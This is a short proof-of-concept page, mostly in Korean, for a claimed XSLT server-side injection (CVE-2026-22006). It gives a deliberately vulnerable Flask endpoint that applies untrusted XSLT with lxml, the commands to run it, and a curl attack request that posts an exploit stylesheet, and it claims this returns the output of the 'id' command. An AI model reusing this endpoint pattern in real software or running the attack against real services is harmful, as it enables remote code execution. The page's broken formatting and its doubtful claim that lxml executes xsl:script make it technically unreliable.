
CVE-2026-22006에 대한 개념 증명(PoC)으로, lxml Flask 엔드포인트에서 xsl:script를 통한 XSLT 서버 측 주입을 시연하여 원격 코드 실행을 달성합니다.
xsl:script를 통한 XSLT 서버 측 주입# xslt_server.py - Applies user-supplied XSLT to XML
from lxml import etree
from flask import Flask, request
app = Flask(__name__)
@app.route('/transform', methods=['POST'])
def transform():
xml = request.form['xml']
xslt = request.form['xslt']
xml_doc = etree.fromstring(xml.encode())
xslt_doc = etree.fromstring(xslt.encode())
transform = etree.XSLT(xslt_doc)
result = transform(xml_doc)
return str(result)
if __name__ == '__main__':
app.run(port=5000)
xsl:script를 통한 XSLT 서버 측 주입XML 변환 서비스가 신뢰할 수 없는 XSLT 스타일시트를 받아들이고 스크립팅 확장 기능을 비활성화하지 않은 채 적용합니다. 공격자는 xsl:script 또는 프로세서별 함수(예: PHP의 php:function)를 삽입하여 서버에서 임의 코드를 실행할 수 있습니다.
pip install flask lxml
python xslt_server.py
curl -X POST -d "xml=<root/>" --data-urlencode "[email protected]" http://localhost:5000/transform
서버는 id 명령의 출력을 반환합니다.